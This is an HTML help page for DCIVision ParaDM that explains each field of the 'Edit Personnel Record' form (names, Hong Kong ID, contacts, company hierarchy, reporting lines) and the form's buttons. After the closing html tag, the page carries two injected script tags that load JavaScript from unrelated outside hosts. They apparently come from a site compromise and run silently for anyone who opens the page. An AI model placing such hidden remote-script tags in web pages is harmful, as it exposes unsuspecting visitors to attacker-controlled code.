<html>

<head>

<title>Edit Personnel Record</title>
</head>
<body>
<table border="0" >
  <tr>
    <td width="100%" colspan="3" height="1"><span lang="EN-US" style="font-family: Arial"><font size="2"><p align="justify">The accessibilities of DCIVision ParaDM are authorized using the access rights of the User Record assigned.  Administrators are required to create the Personnel Record under Staff Management ahead of the creation of User Record.<br>
    <br></font></span></td>
  </tr>

  <tr>
    <td width = "4%" height="1" valign="top"><font face="Arial" size="2">1.</font></td>
    <td width="96%" colspan="2" height="1"><span lang="EN-US" style="font-family: Arial"><font size="2">Click the "Edit" button to start the process of target personnel record information update.<br>
    <br></font></span></td>
  </tr>

  <tr>
    <td width = "4%" height="1" valign="top"><font face="Arial" size="2">2.</font></td>
    <td width="96%" colspan="2" height="1"><span lang="EN-US" style="font-family: Arial"><font size="2">To edit the general personnel record information, fill in the details of Personnel record Information:<br>
    <br></font></span></td>
  </tr>

  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="96%" colspan="2" height="1"><span lang="EN-US" style="font-family: Arial"><font size="2"><u>Section of Personnel Information:<br>
    <br></u></font></span></td>
  </tr>
  
   <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2">(a)</font></td>    
    <td width="92%" height="16"><font face="Arial" size="2"><b>First Name</b><br>
    This is the first name of staff.  It is a mandatory field for a new staff record's creation.  Chinese version of name can be used.</font></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2">(b)</font></td>    
    <td width="92%" height="16"><p align="justify"><font face="Arial" size="2"><b>Last Name</b><br>
    This is the last name of staff.  It is a mandatory field for a new staff record's creation.  Chinese version of name can be used.</font></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(c)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>Full Name</b><br>
    This is the full name of staff. It is a mandatory field for a new staff record's creation. Chinese version of name can be used.</font></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(d)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>English First Name</b><br>
    This is the English version of first name of the staff.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(e)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>English Last Name</b><br>
    This is the English version of last name of the staff.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(f)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>Gender</b><br>
    This is the gender of the staff. It is a mandatory field for a new staff record's creation.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(g)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>Salutation</b><br>
    This is the salutation of the staff. It is a mandatory field for a new staff record's creation.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(h)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>ID No.</b><br>
    Hong Kong ID Card number.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(i)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>Date of Birth</b><br>
    This is the date of birth of the staff, which is a free-formatted field.  </font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(j)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>Tel</b><br>
    This is the telephone contact number, with the extension available after "-". </font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(k)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>Mobile</b><br>
    This is the mobile phone number that can contact the Staff.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(i)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>Fax</b><br>
    This is the fax number, which is a free-formatted field. </font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(m)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>Pager	</b><br>
    This is the Pager number of the Personnel, which is a free-formatted field.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(n)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>Rental Address</b><br>
    This is the rental address, which is a free-formatted field.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(o)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>Mailing Address</b><br>
    This is the mailing address, which is a free-formatted field.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(p)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>Passport No.</b><br>
    This is the passport no. which is a free-formatted field.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(q)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>Issue Country	</b><br>
    This is the issue country of the staff which you can select the choice from the drop down list.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(r)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>Spoken Language(s)</b><br>
    This is the spoken languages that the staff speak, which is a free-formatted field.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" height="16" valign="top"><font face="Arial" size="2">(s)</font></td>
    <td width="92%" height="16" valign="top"><font face="Arial" size="2"><b>Expertise</b><br>
    This is the special expertise that the staff have, which is a free-formatted field.<br>
    <br></font></td>
  </tr>   

  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="96%" colspan="2" height="1"><span lang="EN-US" style="font-family: Arial"><font size="2"><u>Section of Employment Information:<br>
    <br></u></font></span></td>
  </tr>
   <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2">(a)</font></td>    
    <td width="92%" height="16"><font face="Arial" size="2"><b>Staff Code</b><br>
    This is the unique staff code of the personnel record.  It is a mandatory field for a new staff record's creation, which is free-formatted.</font></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2">(b)</font></td>    
    <td width="92%" height="16"><p align="justify"><font face="Arial" size="2"><b>Status</b><br>
    This is an status of staff. It is a mandatory field for a new staff record's creation which is selected by a drop down box.</font></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2">(c)</font></td>    
    <td width="92%" height="16"><p align="justify"><font face="Arial" size="2"><b>Title</b><br>
    This is the title the staff belongs.  It is a mandatory field for a new personnel record's creation.  The selection options of the Tile can be setup using the Option section under System Up.</font></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2">(d)</font></td>    
    <td width="92%" height="16"><p align="justify"><font face="Arial" size="2"><b>Company Hierarchy Assign</b><br>
    Company Hierarchy is required to be defined during system setup; the following levels show the predefined setting and signification of the Company Hierarchy.  Contents of different levels are various by their parent level's selection.  The default hierarchy levels we defined here are Region, followed by Branch, Division, Sub-Division, and Department.</font></td>
  </tr>


  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2"><b></b></font></td>    
    <td width="92%" height="16"><font face="Arial" size="2"><b>-  Region</b>	This is the root of the company hierarchy.</font></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2"><b></b></font></td>    
    <td width="92%" height="16"><font face="Arial" size="2"><b>-	Division</b>	This is the second level, its options will be various by the Branch selected.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2"><b></b></font></td>    
    <td width="92%" height="16"><font face="Arial" size="2"><b>-	Sub-Division</b>	This is the third level, its options will be various by the Division selected</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2"><b></b></font></td>    
    <td width="92%" height="16"><font face="Arial" size="2"><b>-	Branch </b>	This is the forth level under the root, its options will be various by the Region selected.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2"><b></b></font></td>    
    <td width="92%" height="16"><font face="Arial" size="2"><b>-	Department</b>	This is the fifth level, its options will be various by the Sub-Division selected.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2"><b></b></font></td>    
    <td width="92%" height="16"><font face="Arial" size="2"><b>-	Team  </b>	This is the sixth level, its options will be various by the Department selected.</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2"><b></b></font></td>    
    <td width="92%" height="16"><font face="Arial" size="2"><b>-	Level 7</b>	This is the seventh level</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2"><b></b></font></td>    
    <td width="92%" height="16"><font face="Arial" size="2"><b>-	Level 8</b>	This is the eighth  level</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2"><b></b></font></td>    
    <td width="92%" height="16"><font face="Arial" size="2"><b>-	Level 9</b>	This is the ninth level</font></td>
  </tr>  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2"><b></b></font></td>    
    <td width="92%" height="16"><font face="Arial" size="2"><b>-	Level 10</b>	This is the tenth level</font></td>
  </tr>  
  
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2">(e)</font></td>    
    <td width="92%" height="16"><p align="justify"><font face="Arial" size="2"><b>Report to</b><br>
    The field of "Report to" indicates who the staff required to be reported to.</font></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2">(f)</font></td>    
    <td width="92%" height="16"><p align="justify"><font face="Arial" size="2"><b>Alternative Contact</b><br>
    The field of "Alternative Contact" indicates who the staff required to be reported other the main person we selected under field "Report to".</font></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2">(g)</font></td>    
    <td width="92%" height="16"><p align="justify"><font face="Arial" size="2"><b>Email</b><br>
    The field of "Email" shows the email address of the staff.<br><br></font></td>
  </tr>
  
  <tr>
    <td width = "4%" height="1" valign="top"><font face="Arial" size="2">3.</font></td>
    <td width="96%" colspan="2" height="1"><span lang="EN-US" style="font-family: Arial"><font size="2">Select the function to be done:<br>
    <br></font></span></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="96%" colspan="2" height="1"><span lang="EN-US" style="font-family: Arial"><font size="2">Once all the information is entered, administrators can choose the following function to process their needs.<br>
    <br></font></span></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2">(a)</font></td>    
    <td width="92%" height="16"><font face="Arial" size="2"><b>Save</b><br>
    By clicking the Save button, the system will update and save a new personnel record using current personnel record information.</font></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2">(b)</font></td>    
    <td width="92%" height="16"><p align="justify"><font face="Arial" size="2"><b>More</b><br>
    By clicking the More button, the system will update and save a new personnel record using current personnel record information. And bring up a blank page of New Personnel Record after the creation of new personnel record immediately, to allow the user update another new personnel record.</font></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="16"></td>
    <td width="4%" valign="top" height="16"><font face="Arial" size="2">(c)</font></td>    
    <td width="92%" height="16"><p align="justify"><font face="Arial" size="2"><b>Return</b><br>
    By clicking the Return button, the current personnel record information will not be saved, and the system will be return to the main page of Personnel record.</font></td>
  </tr>
  </table>
 </body> 
 </html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>